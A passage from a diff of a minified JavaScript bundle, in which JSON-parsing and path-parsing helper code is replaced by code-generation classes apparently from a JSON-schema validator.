"DuplicateKey", severity: j6.h_.Error, path: le4(r9), code: 20 }) : i10.push(e13)); + render(e12) { + return this.nodes.reduce((t10, i9) => t10 + i9.render(e12), ""); + } + optimizeNodes() { + const { nodes: e12 } = this; + let t10 = e12.length; + for (; t10--; ) { + const i9 = e12[t10].optimizeNodes(); + Array.isArray(i9) ? e12.splice(t10, 1, ...i9) : i9 ? e12[t10] = i9 : e12.splice(t10, 1); } - true === i9.preserveKeyOrder && function(e14, t11) { - if (!(t11 in e14)) - return; - const i10 = e14[y7], n11 = i10.indexOf(t11); - -1 !== n11 && (i10.splice(n11, 1), i10.push(t11)); - }(s8, e13), o8 = e13; - }, onObjectEnd: (e13, t11, n10, o9) => { - false === i9.ignoreDuplicateKeys && a8.delete(r9), r9.length = e13 + t11 - r9.offset, r9.range && (r9.range.end.line = n10, r9.range.end.character = o9 + t11), r9 = r9.parent, c8(e13 + t11), g8(); - }, onArrayBegin: (e13, t11, i10, n10) => { - r9 = f9({ type: "array", offset: e13, length: -1, parent: r9, children: [], range: d8(i10, n10, t11) }), h9([]); - }, onArrayEnd: (e13, t11, i10, n10) => { - r9.length = e13 + t11 - r9.offset, r9.range && (r9.range.end.line = i10, r9.range.end.character = n10 + t11), r9 = r9.parent, c8(e13 + t11), g8(); - }, onLiteralValue: (e13, t11, i10, n10, o9) => { - f9({ type: de4(e13), offset: t11, length: i10, parent: r9, value: e13, range: d8(n10, o9, i10) }), c8(t11 + i10), l8(e13); - }, onSeparator: (e13, t11) => { - "property" === r9.type && (":" === e13 ? r9.colonOffset = t11 : "," === e13 && c8(t11)); - }, onError: (e13, i10, n10, r10, o9) => { - t10.push({ range: d8(r10, o9, n10), message: m7(e13), severity: j6.h_.Error, code: e13 }); - } }, i9); - const v9 = r9.children[0]; - return v9 && delete v9.parent, { ast: v9, data: s8[0], lineMap: n9 }; + return e12.length > 0 ? this : void 0; + } + optimizeNames(e12, t10) { + const { nodes: i9 } = this; + let n9 = i9.length; + for (; n9--; ) { + const r9 = i9[n9]; + r9.optimizeNames(e12, t10) || (q5(e12, r9.names), i9.splice(n9, 1)); + } + return i9.length > 0 ? this : void 0; + } + get names() { + return this.nodes.reduce((e12, t10) => A6(e12, t10.names), {}); + } } - function de4(e12) { - switch (typeof e12) { - case "boolean": - return "boolean"; - case "number": - return "number"; - case "string": - return "string"; - default: - return "null"; + class y7 extends h8 { + render(e12) { + return "{" + e12._n + super.render(e12) + "}" + e12._n; } } - const fe4 = (e12) => { - const t10 = [0]; - let i9 = 0; - for (; i9 < e12.length; i9++) - "\n" === e12[i9] && t10.push(i9 + 1); - return t10.push(i9 + 1), t10; - }; - function le4(e12, t10 = []) { - return "property" === e12.type && t10.unshift(e12.children[0].value), void 0 !== e12.parent ? ("array" === e12.parent.type && void 0 !== e12.parent.parent && t10.unshift(e12.parent.children.indexOf(e12)), le4(e12.parent, t10)) : t10; + class g7 extends h8 { } - const ue4 = (e12, t10, i9) => { - if (!e12 || !Object.hasOwnProperty.call(e12, t10) || t10 === i9) - return e12; - const n9 = {}; - for (const [r9, o8] of Object.entries(e12)) - r9 === t10 ? n9[i9] = o8 : r9 in n9 || (n9[r9] = o8); - return n9; - }; - function me4(e12) { - return _6(e12) || Array.isArray(e12); + class b8 extends y7 { } - function he4(e12, t10, i9) { - if (i9.length <= 1 || t10.length <= 1) - throw Error("Source/target path must not be empty and point at root"); - if (0 === t10.indexOf(i9)) - throw Error("Target path cannot be contained within source"); - const n9 = N6(t10); - let r9 = e12; - for (const e13 of n9) { - if (!me4(r9)) - return; - r9 = r9[e13]; + b8.kind = "else"; + class v8 extends y7 { + constructor(e12, t10) { + super(t10), this.condition = e12; } - if (!me4(r9)) - return; - const o8 = N6(i9); - let s8 = e12; - for (const [e13, t11] of o8.entries()) { - if (!me4(s8) || t11 in s8) - return; - const i10 = e13 === o8.length - 1 ? r9 : {}; - s8[t11] = i10, s8 = i10; + render(e12) { + let t10 = `if(${this.condition})` + super.render(e12); + return this.else && (t10 += "else " + this.else.render(e12)), t10; } - delete e12[n9[0]], function e13(t11, i10, n10) { - for (const r10 of Object.keys(t11)) { - const o9 = t11[r10]; - if ("$ref" !== r10) - me4(o9) && e13(o9, i10, n10); - else { - if ("string" != typeof o9 || !T6(o9)) - continue; - 0 === o9.indexOf(i10) && (t11[r10] = o9.replace(i10, n10)); - } + optimizeNodes() { + super.optimizeNodes(); + const e12 = this.condition; + if (true === e12) + return this.nodes; + let t10 = this.else; + if (t10) { + const e13 = t10.optimizeNodes(); + t10 = this.else = Array.isArray(e13) ? new b8(e13) : e13; } - }(e12, t10, i9); - } - async function ye4(e12, t10, i9, n9, r9) { - let s8 = function(e13, t11) { - const i10 = Q5(t11); - return null === i10 ? e13 : (0, o7.isAbsolute)(i10) ? i10 : (0, o7.join)((0, o7.dirname)(e13), i10); - }(t10, i9); - const a8 = ne4(i9) || "#", p8 = await e12[s8], c8 = N6(a8); - let d8 = [...c8]; - const f9 = { value: p8 }; - for (const [i10, o8] of H5(f9, c8, a8)) { - if (n9.includes(o8)) - return { source: t10, location: null != r9 ? r9 : d8, value: n9[n9.length - 1] }; - n9.push(o8); - const a9 = await ye4(e12, s8, o8.$ref, n9, d8); - ({ source: s8, location: d8 } = a9), f9.value = a9.value, d8.push(...c8.slice(i10 + 1)); + return t10 ? false === e12 ? t10 instanceof v8 ? t10 : t10.nodes : this.nodes.length ? this : new v8(k6(e12), t10 instanceof v8 ? [t10] : t10.nodes) : false !== e12 && this.nodes.length ? this : void 0; + } + optimizeNames(e12, t10) { + var i9; + if (this.else = null === (i9 = this.else) || void 0 === i9 ? void 0 : i9.optimizeNames(e12, t10), super.optimizeNames(e12, t10) || this.else) + return this.condition = E6(this.condition, e12, t10), this; + } + get names() { + const e12 = super.names; + return I6(e12, this.condition), this.else && A6(e12, this.else.names), e12; } - return { source: s8, location: d8, value: n9.length > 0 ? K5(n9[n9.length - 1], f9.value) : f9.value }; - } - async function ge4(e12, t10, i9) { - return (await be4(e12, t10, i9)).value; } - function be4(e12, t10, i9) { - return ye4(e12, t10, i9, []); + v8.kind = "if"; + class j6 extends y7 { } - const ve4 = (e12, t10) => { - if ("string" != typeof e12) - return e12; - try { - const i9 = je4(e12); - return "string" == typeof i9 ? i9 : JSON.parse(e12, t10); - } catch (e13) { - return; + j6.kind = "for"; + class $5 extends j6 { + constructor(e12) { + super(), this.iteration = e12; } - }, je4 = (e12) => { - const t10 = Number(e12); - return Number.isFinite(t10) ? String(t10) === e12 ? t10 : e12 : NaN; - }, $e2 = (e12, t10, i9) => { - if ("string" == typeof e12) - return e12; - try { - return JSON.stringify(e12, t10, i9); - } catch (n9) { - return x7()(e12, t10, i9); + render(e12) { + return `for(${this.iteration})` + super.render(e12); } - }, xe2 = (e12, t10) => { - if (e12 instanceof Array) { - if (t10 instanceof Array) { - if (t10.length > e12.length) - return false; - for (const i9 in t10) { - if (!t10.hasOwnProperty(i9)) - continue; - const n9 = parseInt(e12[i9]), r9 = parseInt(t10[i9]); - if (isNaN(n9) && isNaN(r9)) { - if (e12[i9] !== t10[i9]) - return false; - } else if (n9 !== r9) - return false; - } - } - } else { - if ("string" != typeof e12) - return false; - if ("string" == typeof t10) - return e12.startsWith(t10); + optimizeNames(e12, t10) { + if (super.optimizeNames(e12, t10)) + return this.iteration = E6(this.iteration, e12, t10), this; + } + get names() { + return A6(super.names, this.iteration.names); } - return true; - }, _e2 = (e12, t10, i9) => { - const n9 = $e2(e12, t10, i9); - if (void 0 === n9) - throw new Error("The value could not be stringified"); - return n9; - }; - function we4(e12) { - return e12.replace(/^(\/|#\/)/, "").split("/").map(ee4).map(Se4).join("."); } - function Se4(e12) { - return e12.includes(".") ? `["${e12.replace(/"/g, '\\"')}"]` : e12; + class x7 extends j6 { + constructor(e12, t10, i9, n9) { + super(), this.varKind = e12, this.name = t10, this.from = i9, this.to = n9; + } + render(e12) { + const t10 = e12.es5 ? r8.varKinds.var : this.varKind, { name: i9, from: n9, to: o8 } = this; + return `for(${t10} ${i9}=${n9}; ${i9}<${o8}; ${i9}++)` + super.render(e12); + } + get names() { + const e12 = I6(super.names, this.from); + return I6(e12, this.to); + } } - const Pe2 = Symbol.for(h8), Oe4 = { ownKeys: (e12) => Pe2 in e12 ? e12[Pe2] : Reflect.ownKeys(e12) }, Te = (e12) => new Proxy(e12, Oe4); - function Ae4(e12, t10) { - if ("string" == typeof e12 && "string" == typeof t10) - return (0, r8.trimStart)(e12, t10); - if (!(e12 && Array.isArray(e12) && e12.length && t10 && Array.isArray(t10) && t10.length)) - return e12; - let i9 = 0; - for (const n9 in e12) - if (e12.hasOwnProperty(n9)) { - if (e12[n9] !== t10[n9]) - break; - i9++; - } - return e12.slice(i9); + class _6 extends j6 { + constructor(e12, t10, i9, n9) { + super(), this.loop = e12, this.varKind = t10, this.name = i9, this.iterable = n9; + } + render(e12) { + return `for(${this.varKind} ${this.name} ${this.loop} ${this.iterable})` + super.render(e12); + } + optimizeNames(e12, t10) { + if (super.optimizeNames(e12, t10)) + return this.iterable = E6(this.iterable, e12, t10), this; + } + get names() { + return A6(super.names, this.iterable.names); + } } - }, 98136: (e11, t9, i8) => { - "use strict"; - function n8(e12) { - let t10 = ""; - return e12.absolute && ("file" === e12.protocol ? (e12.drive && (t10 += e12.drive), t10 += "/") : (t10 += e12.protocol + "://", e12.origin && (t10 += e12.origin + "/"))), "" === (t10 += e12.path.join("/")) && (t10 = "."), t10; + class w6 extends y7 { + constructor(e12, t10, i9) { + super(), this.name = e12, this.args = t10, this.async = i9; + } + render(e12) { + return `${this.async ? "async " : ""}function ${this.name}(${this.args})` + super.render(e12); + } } - function r8(e12, t10, i9, n9) { - this.message = e12, this.expected = t10, this.found = i9, this.location = n9, this.name = "SyntaxError", "function" == typeof Error.captureStackTrace && Error.captureStackTrace(this, r8); + w6.kind = "func"; + class S6 extends h8 { + render(e12) { + return "return " + super.render(e12); + } } - i8.r(t9), i8.d(t9, { basename: () => d7, deserializeSrn: () => $5, dirname: () => f8, extname: () => l7, format: () => n8, isAbsolute: () => u7, isURL: () => m7, join: () => h8, normalize: () => a7, parse: () => s7, relative: () => y7, resolve: () => g7, sep: () => b8, serializeSrn: () => x7, startsWithWindowsDrive: () => v8, stripRoot: () => j6, toFSPath: () => a7 }), function(e12, t10) { - function i9() { - this.constructor = e12; + S6.kind = "return"; + class P6 extends y7 { + render(e12) { + let t10 = "try" + super.render(e12); + return this.catch && (t10 += this.catch.render(e12)), this.finally && (t10 += this.finally.render(e12)), t10; } - i9.prototype = t10.prototype, e12.prototype = new i9(); - }(r8, Error), r8.buildMessage = function(e12, t10) { - var i9 = { literal: function(e13) { - return '"' + r9(e13.text) + '"'; - }, class: function(e13) { - var t11, i10 = ""; - for (t11 = 0; t11 < e13.parts.length; t11++) - i10 += e13.parts[t11] instanceof Array ? o8(e13.parts[t11][0]) + "-" + o8(e13.parts[t11][1]) : o8(e13.parts[t11]); - return "[" + (e13.inverted ? "^" : "") + i10 + "]"; - }, any: function(e13) { - return "any character"; - }, end: function(e13) { - return "end of input"; - }, other: function(e13) { - return e13.description; - } }; - function n9(e13) { - return e13.charCodeAt(0).toString(16).toUpperCase(); + optimizeNodes() { + var e12, t10; + return super.optimizeNodes(), null === (e12 = this.catch) || void 0 === e12 || e12.optimizeNodes(), null === (t10 = this.finally) || void 0 === t10 || t10.optimizeNodes(), this; } - function r9(e13) { - return e13.replace(/\\/g, "\\\\").replace(/"/g, '\\"').replace(/\0/g, "\\0").replace(/\t/g, "\\t").replace(/\n/g, "\\n").replace(/\r/g, "\\r").replace(/[\x00-\x0F]/g, function(e14) { - return "\\x0" + n9(e14); - }).replace(/[\x10-\x1F\x7F-\x9F]/g, function(e14) { - return "\\x" + n9(e14); - }); + optimizeNames(e12, t10) { + var i9, n9; + return super.optimizeNames(e12, t10), null === (i9 = this.catch) || void 0 === i9 || i9.optimizeNames(e12, t10), null === (n9 = this.finally) || void 0 === n9 || n9.optimizeNames(e12, t10), this; + } + get names() { + const e12 = super.names; + return this.catch && A6(e12, this.catch.names), this.finally && A6(e12, this.finally.names), e12; + } + } + class O7 extends y7 { + constructor(e12) { + super(), this.error = e12; + } + render(e12) { + return `catch(${this.error})` + super.render(e12); + } + } + O7.kind = "catch"; + class T6 extends y7 { + render(e12) { + return "finally" + super.render(e12); } + } + function A6(e12, t10) { + for (const i9 in t10) + e12[i9] = (e12[i9] || 0) + (t10[i9] || 0); + return e12; + } + function I6(e12, t10) { + return t10 instanceof n8._CodeOrName ? A6(e12, t10.names) : e12; + } + function E6(e12, t10, i9) { + return e12 instanceof n8.Name ? o8(e12) : (r9 = e12) instanceof n8._Code && r9._items.some((e13) => e13 instanceof n8.Name && 1 === t10[e13.str] && void 0 !== i9[e13.str]) ? new n8._Code(e12._items.reduce((e13, t11) => (t11 instanceof n8.Name && (t11 = o8(t11)), t11 instanceof n8._Code ? e13.push(...t11._items) : e13.push(t11), e13), [])) : e12; + var r9; function o8(e13) { - return e13.replace(/\\/g, "\\\\").replace(/\]/g, "\\]").replace(/\^/g, "\\^").replace(/-/g, "\\-").replace(/\0/g, "\\0").replace(/\t/g, "\\t").replace(/\n/g, "\\n").replace(/\r/g, "\\r").replace(/[\x00-\x0F]/g, function(e14) { - return "\\x0" + n9(e14); - }).replace(/[\x10-\x1F\x7F-\x9F]/g, function(e14) { - return "\\x" + n9(e14); - }); + const n9 = i9[e13.str]; + return void 0 === n9 || 1 !== t10[e13.str] ? e13 : (delete t10[e13.str], n9); } - return "Expected " + function(e13) { - var t11, n10, r10, o9 = new Array(e13.length); - for (t11 = 0; t11 < e13.length; t11++) - o9[t11] = (r10 = e13[t11], i9[r10.type](r10)); - if (o9.sort(), o9.length > 0) { - for (t11 = 1, n10 = 1; t11 < o9.length; t11++) - o9[t11 - 1] !== o9[t11] && (o9[n10] = o9[t11], n10++); - o9.length = n10; - } - switch (o9.length) { - case 1: - return o9[0]; - case 2: - return o9[0] + " or " + o9[1]; - default: - return o9.slice(0, -1).join(", ") + ", or " + o9[o9.length - 1]; + } + function q5(e12, t10) { + for (const i9 in t10) + e12[i9] = (e12[i9] || 0) - (t10[i9] || 0); + } + function k6(e12) { + return "boolean" == typeof e12 || "number" == typeof e12 || null === e12 ? !e12 : n8._`!${C6(e12)}`; + } + T6.kind = "finally", t9.CodeGen = class { + constructor(e12, t10 = {}) { + this._values = {}, this._blockStarts = [], this._constants = {}, this.opts = { ...t10, _n: t10.lines ? "\n" : "" }, this._extScope = e12, this._scope = new r8.Scope({ parent: e12 }), this._nodes = [new g7()]; + } + toString() { + return this._root.render(this.opts); + } + name(e12) { + return this._scope.name(e12); + } + scopeName(e12) { + return this._extScope.name(e12); + } + scopeValue(e12, t10) { + const i9 = this._extScope.value(e12, t10); + return (this._values[i9.prefix] || (this._values[i9.prefix] = /* @__PURE__ */ new Set())).add(i9), i9; + } + getScopeValue(e12, t10) { + return this._extScope.getValue(e12, t10); + } + scopeRefs(e12) { + return this._extScope.scopeRefs(e12, this._values); + } + scopeCode() { + return this._extScope.scopeCode(this._values); + } + _def(e12, t10, i9, n9) { + const r9 = this._scope.toName(t10); + return void 0 !== i9 && n9 && (this._constants[r9.str] = i9), this._leafNode(new p7(e12, r9, i9)), r9; + } + const(e12, t10, i9) { + return this._def(r8.varKinds.const, e12, t10, i9); + } + let(e12, t10, i9) { + return this._def(r8.varKinds.let, e12, t10, i9); + } + var(e12, t10, i9) { + return this._def(r8.varKinds.var, e12, t10, i9); + } + assign(e12, t10, i9) { + return this._leafNode(new c7(e12, t10, i9)); + } + add(e12, i9) { + return this._leafNode(new d7(e12, t9.operators.ADD, i9)); + } + code(e12) { + return "function" == typeof e12 ? e12() : e12 !== n8.nil && this._leafNode(new m7(e12)), this; + } + object(...e12) { + const t10 = ["{"]; + for (const [i9, r9] of e12) + t10.length > 1 && t10.push(","), t10.push(i9), (i9 !== r9 || this.opts.es5) && (t10.push(":"), (0, n8.addCodeArg)(t10, r9)); + return t10.push("}"), new n8._Code(t10); + } + if(e12, t10, i9) { + if (this._blockNode(new v8(e12)), t10 && i9) + this.code(t10).else().code(i9).endIf(); + else if (t10) + this.code(t10).endIf(); + else if (i9) + throw new Error('CodeGen: "else" body without "then" body'); + return this; + } + elseIf(e12) { + return this._elseNode(new v8(e12)); + } + else() { + return this._elseNode(new b8()); + } + endIf() { + return this._endBlockNode(v8, b8); + } + _for(e12, t10) { + return this._blockNode(e12), t10 && this.code(t10).endFor(), this; + } + for(e12, t10) { + return this._for(new $5(e12), t10); + } + forRange(e12, t10, i9, n9, o8 = this.opts.es5 ? r8.varKinds.var : r8.varKinds.let) { + const s8 = this._scope.toName(e12); + return this._for(new x7(o8, s8, t10, i9), () => n9(s8)); + } + forOf(e12, t10, i9, o8 = r8.varKinds.const) { + const s8 = this._scope.toName(e12); + if (this.opts.es5) { + const e13 = t10 instanceof n8.Name ? t10 : this.var("_arr", t10); + return this.forRange("_i", 0, n8._`${e13}.length`, (t11) => { + this.var(s8, n8._`${e13}[${t11}]`), i9(s8); + }); } - }(e12) + " but " + function(e13) { - return e13 ? '"' + r9(e13) + '"' : "end of input"; - }(t10) + " found."; - }; - var o7 = function(e12, t10) { - t10 = void 0 !== t10 ? t10 : {}; - var i9, n9, o8, s8, a8 = {}, p8 = { Path: te4 }, c8 = te4, d8 = function(e13, t11, i10, n10) { - return { protocol: e13, origin: t11, absolute: true, ...i10, ...n10 }; - }, f9 = function(e13, t11, i10) { - return { protocol: e13, origin: t11, absolute: true, ...i10, path: [] }; - }, l8 = "http://", u8 = J5("http://", true), m8 = function(e13) { - return "http"; - }, h9 = "https://", y8 = J5("https://", true), g8 = function(e13) { - return "https"; - }, b9 = "", v9 = function() { - return null; - }, j7 = function(e13, t11, i10) { - return { protocol: e13, origin: null, absolute: true, ...t11, ...i10 }; - }, $6 = "file://", x8 = J5("file://", true), _6 = "file:", w6 = J5("file:", true), S6 = function(e13) { - return "file"; - }, P6 = function(e13, t11) { - return { protocol: "file", origin: null, absolute: true, ...e13, ...t11 }; - }, O7 = /^[A-Za-z]/, T6 = Z5([["A", "Z"], ["a", "z"]], false, false), A6 = ":", I6 = J5(":", false), E6 = function(e13) { - return { drive: e13.toLowerCase() + ":" }; - }, q5 = function() { - return { drive: null }; - }, k6 = function() { - return { drive: null }; - }, M6 = function(e13) { - return { protocol: null, origin: null, absolute: false, drive: null, ...e13 }; - }, R6 = function(e13) { - return { path: e13 }; - }, D6 = function(e13, t11) { - return [e13, ...t11]; - }, C6 = function(e13) { - return [e13]; - }, V5 = ".", N6 = J5(".", false), F6 = "/", U6 = J5("/", false), L6 = "\\", z6 = J5("\\", false), B6 = /^[^\/\\]/, Q5 = Z5(["/", "\\"], true, false), K5 = 0, H5 = [{ line: 1, column: 1 }], G5 = 0, W5 = []; - if ("startRule" in t10) { - if (!(t10.startRule in p8)) - throw new Error(`Can't start parsing from rule "` + t10.startRule + '".'); - c8 = p8[t10.startRule]; + return this._for(new _6("of", o8, s8, t10), () => i9(s8)); } - function J5(e13, t11) { - return { type: "literal", text: e13, ignoreCase: t11 }; + forIn(e12, t10, i9, o8 = this.opts.es5 ? r8.varKinds.var : r8.varKinds.const) { + if (this.opts.ownProperties) + return this.forOf(e12, n8._`Object.keys(${t10})`, i9); + const s8 = this._scope.toName(e12); + return this._for(new _6("in", o8, s8, t10), () => i9(s8)); } - function Z5(e13, t11, i10) { - return { type: "class", parts: e13, inverted: t11, ignoreCase: i10 }; + endFor() { + return this._endBlockNode(j6); } - function Y6(t11) { - var i10, n10 = H5[t11]; - if (n10) - return n10; - for (i10 = t11 - 1; !H5[i10]; ) - i10--; - for (n10 = { line: (n10 = H5[i10]).line, column: n10.column }; i10 < t11; ) - 10 === e12.charCodeAt(i10) ? (n10.line++, n10.column = 1) : n10.column++, i10++; - return H5[t11] = n10, n10; + label(e12) { + return this._leafNode(new f8(e12)); } - function X5(e13, t11) { - var i10 = Y6(e13), n10 = Y6(t11); - return { start: { offset: e13, line: i10.line, column: i10.column }, end: { offset: t11, line: n10.line, column: n10.column } }; + break(e12) { + return this._leafNode(new l7(e12)); } - function ee4(e13) { - K5 < G5 || (K5 > G5 && (G5 = K5, W5 = []), W5.push(e13)); + return(e12) { + const t10 = new S6(); + if (this._blockNode(t10), this.code(e12), 1 !== t10.nodes.length) + throw new Error('CodeGen: "return" should have one node'); + return this._endBlockNode(S6); } - function te4() { - var t11; - return (t11 = function() { - var e13, t12, i10, n10, r9; - return e13 = K5, (t12 = ie3()) !== a8 && (i10 = ne4()) !== a8 && (n10 = oe4()) !== a8 && (r9 = se4()) !== a8 ? e13 = t12 = d8(t12, i10, n10, r9) : (K5 = e13, e13 = a8), e13 === a8 && (e13 = K5, (t12 = ie3()) !== a8 && (i10 = ne4()) !== a8 && (n10 = function() { - var e14; - return (e14 = b9) !== a8 && (e14 = k6()), e14; - }()) !== a8 ? e13 = t12 = f9(t12, i10, n10) : (K5 = e13, e13 = a8)), e13; - }()) === a8 && (t11 = function() { - var t12, i10, n10, r9; - return t12 = K5, (i10 = function() { - var t13; - return e12.substr(K5, 7).toLowerCase() === $6 ? (t13 = e12.substr(K5, 7), K5 += 7) : (t13 = a8, ee4(x8)), t13 === a8 && (e12.substr(K5, 5).toLowerCase() === _6 ? (t13 = e12.substr(K5, 5), K5 += 5) : (t13 = a8, ee4(w6))), t13 !== a8 && (t13 = S6()), t13; - }()) !== a8 && (n10 = re4()) !== a8 && (r9 = se4()) !== a8 ? t12 = i10 = j7(i10, n10, r9) : (K5 = t12, t12 = a8), t12; - }()) === a8 && (t11 = function() { - var e13, t12, i10; - return e13 = K5, (t12 = re4()) !== a8 && (i10 = se4()) !== a8 ? e13 = t12 = P6(t12, i10) : (K5 = e13, e13 = a8), e13; - }()) === a8 && (t11 = function() { - var t12, i10; - return t12 = K5, function() { - var t13; - return (t13 = function() { - var t14, i11, n10; - return t14 = K5, 46 === e12.charCodeAt(K5) ? (i11 = V5, K5++) : (i11 = a8, ee4(N6)), i11 !== a8 && (n10 = pe4()) !== a8 ? t14 = i11 = [i11, n10] : (K5 = t14, t14 = a8), t14; - }()) === a8 && (t13 = b9), t13; - }() !== a8 && (i10 = se4()) !== a8 ? t12 = M6(i10) : (K5 = t12, t12 = a8), t12; - }()), t11; + try(e12, t10, i9) { + if (!t10 && !i9) + throw new Error('CodeGen: "try" without "catch" and "finally"'); + const n9 = new P6(); + if (this._blockNode(n9), this.code(e12), t10) { + const e13 = this.name("e"); + this._currNode = n9.catch = new O7(e13), t10(e13); + } + return i9 && (this._currNode = n9.finally = new T6(), this.code(i9)), this._endBlockNode(O7, T6); } - function ie3() { - var t11, i10; - return e12.substr(K5, 7).toLowerCase() === l8 ? (i10 = e12.substr(K5, 7), K5 += 7) : (i10 = a8, ee4(u8)), i10 !== a8 && (i10 = m8()), (t11 = i10) === a8 && (t11 = function() { - var t12; - return e12.substr(K5, 8).toLowerCase() === h9 ? (t12 = e12.substr(K5, 8), K5 += 8) : (t12 = a8, ee4(y8)), t12 !== a8 && (t12 = g8()), t12; - }()), t11; + throw(e12) { + return this._leafNode(new u7(e12)); } - function ne4() { - var t11, i10, n10; - if (t11 = K5, i10 = [], (n10 = ce4()) !== a8) - for (; n10 !== a8; ) - i10.push(n10), n10 = ce4(); - else - i10 = a8; - return (t11 = i10 !== a8 ? e12.substring(t11, K5) : i10) === a8 && (t11 = K5, (i10 = b9) !== a8 && (i10 = v9()), t11 = i10), t11; + block(e12, t10) { + return this._blockStarts.push(this._nodes.length), e12 && this.code(e12).endBlock(t10), this; } - function re4() { - var t11; - return (t11 = function() { - var t12, i10, n10, r9; - return t12 = K5, (i10 = pe4()) === a8 && (i10 = null), i10 !== a8 ? (O7.test(e12.charAt(K5)) ? (n10 = e12.charAt(K5), K5++) : (n10 = a8, ee4(T6)), n10 !== a8 ? (58 === e12.charCodeAt(K5) ? (r9 = A6, K5++) : (r9 = a8, ee4(I6)), r9 !== a8 && pe4() !== a8 ? t12 = i10 = E6(n10) : (K5 = t12, t12 = a8)) : (K5 = t12, t12 = a8)) : (K5 = t12, t12 = a8), t12; - }()) === a8 && (t11 = oe4()), t11; + endBlock(e12) { + const t10 = this._blockStarts.pop(); + if (void 0 === t10) + throw new Error("CodeGen: not in self-balancing block"); + const i9 = this._nodes.length - t10; + if (i9 < 0 || void 0 !== e12 && i9 !== e12) + throw new Error(`CodeGen: wrong number of nodes: ${i9} vs ${e12} expected`); + return this._nodes.length = t10, this; } - function oe4() { - var e13; - return (e13 = pe4()) !== a8 && (e13 = q5()), e13; + func(e12, t10 = n8.nil, i9, r9) { + return this._blockNode(new w6(e12, t10, i9)), r9 && this.code(r9).endFunc(), this; } - function se4() { - var e13; - return (e13 = function e14() { - var t11, i10, n10; - return t11 = K5, (i10 = ae4()) !== a8 && pe4() !== a8 && (n10 = e14()) !== a8 ? t11 = i10 = D6(i10, n10) : (K5 = t11, t11 = a8), t11 === a8 && (t11 = K5, (i10 = ae4()) !== a8 && (i10 = C6(i10)), t11 = i10), t11; - }()) !== a8 && (e13 = R6(e13)), e13; + endFunc() { + return this._endBlockNode(w6); } - function ae4() { - var t11, i10, n10; - if (t11 = K5, i10 = [], (n10 = ce4()) !== a8) - for (; n10 !== a8; ) - i10.push(n10), n10 = ce4(); - else - i10 = a8; - return (t11 = i10 !== a8 ? e12.substring(t11, K5) : i10) === a8 && (t11 = b9), t11; + optimize(e12 = 1) { + for (; e12-- > 0; ) + this._root.optimizeNodes(), this._root.optimizeNames(this._root.names, this._constants); } - function pe4() { - var t11; - return 47 === e12.charCodeAt(K5) ? (t11 = F6, K5++) : (t11 = a8, ee4(U6)), t11 === a8 && (92 === e12.charCodeAt(K5) ? (t11 = L6, K5++) : (t11 = a8, ee4(z6))), t11; + _leafNode(e12) { + return this._currNode.nodes.push(e12), this; } - function ce4() { - var t11; - return B6.test(e12.charAt(K5)) ? (t11 = e12.charAt(K5), K5++) : (t11 = a8, ee4(Q5)), t11; + _blockNode(e12) { + this._currNode.nodes.push(e12), this._nodes.push(e12); } - if ((i9 = c8()) !== a8 && K5 === e12.length) - return i9; - throw i9 !== a8 && K5 < e12.length && ee4({ type: "end" }), n9 = W5, o8 = G5 < e12.length ? e12.charAt(G5) : null, s8 = G5 < e12.length ? X5(G5, G5 + 1) : X5(G5, G5), new r8(r8.buildMessage(n9, o8), n9, o8, s8); + _endBlockNode(e12, t10) { + const i9 = this._currNode; + if (i9 instanceof e12 || t10 && i9 instanceof t10) + return this._nodes.pop(), this; + throw new Error(`CodeGen: not in block "${t10 ? `${e12.kind}/${t10.kind}` : e12.kind}"`); + } + _elseNode(e12) { + const t10 = this._currNode; + if (!(t10 instanceof v8)) + throw new Error('CodeGen: "else" without "if"'); + return this._currNode = t10.else = e12, this; + } + get _root() { + return this._nodes[0]; + } + get _currNode() { + const e12 = this._nodes; + return e12[e12.length - 1]; + } + set _currNode(e12) { + const t10 = this._nodes; + t10[t10.length - 1] = e12; + } + }, t9.not = k6; + const M6 = D6(t9.operators.AND); + t9.and = function(...e12) { + return e12.reduce(M6); }; - function s7(e12) { - if ("string" != typeof e12) - throw new Error(`@stoplight/path: Cannot parse ${e12} because it is not a string`); - return o7(e12, {}); - } - function a7(e12) { - return n8(p7(s7(e12))); - } - function p7(e12) { - let t10 = e12.path; - t10 = t10.filter((e13) => "" !== e13 && "." !== e13); - const i9 = []; - for (const n9 of t10) - ".." === n9 && i9.length && ".." !== i9[i9.length - 1] ? i9.pop() : ".." === n9 && e12.absolute || i9.push(n9); - return e12.path = i9, e12; + const R6 = D6(t9.operators.OR); + function D6(e12) { + return (t10, i9) => t10 === n8.nil ? i9 : i9 === n8.nil ? t10 : n8._`${C6(t10)} ${e12} ${C6(i9)}`; } - function c7(e12) { - let t10 = e12.lastIndexOf("."); - ".." === e12 && (t10 = -1), "." === e12 && (t10 = -1); - let i9 = e12, n9 = ""; - return t10 > 0 && (i9 = e12.slice(0, t10), n9 = e12.slice(t10)), { name: i9, ext: n9 }; + function C6(e12) { + return e12 instanceof n8.Name ? e12 : n8._`(${e12})`; } - const d7 = (e12, t10) => { - const i9 = p7(s7(e12)).path.pop(); - if (!i9) - return ""; - const { name: n9, ext: r9 } = c7(i9); - return true === t10 || t10 === r9 ? n9 : `${n9}${r9}`; - }, f8 = (e12) => { - const t10 = p7(s7(e12)); - return t10.path.pop(), n8(p7(t10)); - }, l7 = (e12) => { - const t10 = p7(s7(e12)).path.pop(); - if (!t10) - return ""; - const { ext: i9 } = c7(t10); - return i9; + t9.or = function(...e12) { + return e12.reduce(R6); }; - function u7(e12) { - return s7(e12).absolute; + }, 76930: (e11, t9, i8) => { + "use strict"; + Object.defineProperty(t9, "__esModule", { value: true }), t9.ValueScope = t9.ValueScopeName = t9.Scope = t9.varKinds = t9.UsedValueState = void 0; + const n8 = i8(83277); + class r8 extends Error { + constructor(e12) { + super(`CodeGen: "code" for ${e12} not defined`), this.value = e12.value; + } } - function m7(e12) { - const t10 = s7(e12); - return "http" === t10.protocol || "https" === t10.protocol; + var o7; + !function(e12) { + e12[e12.Started = 0] = "Started", e12[e12.Completed = 1] = "Completed"; + }(o7 || (t9.UsedValueState = o7 = {})), t9.varKinds = { const: new n8.Name("const"), let: new n8.Name("let"), var: new n8.Name("var") }; + class s7 { + constructor({ prefixes: e12, parent: t10 } = {}) { + this._names = {}, this._prefixes = e12, this._parent = t10; + } + toName(e12) { + return e12 instanceof n8.Name ? e12 : this.name(e12); + } + name(e12) { + return new n8.Name(this._newName(e12)); + } + _newName(e12) { + return `${e12}${(this._names[e12] || this._nameGroup(e12)).index++}`; + } + _nameGroup(e12) { + var t10, i9; + if ((null === (i9 = null === (t10 = 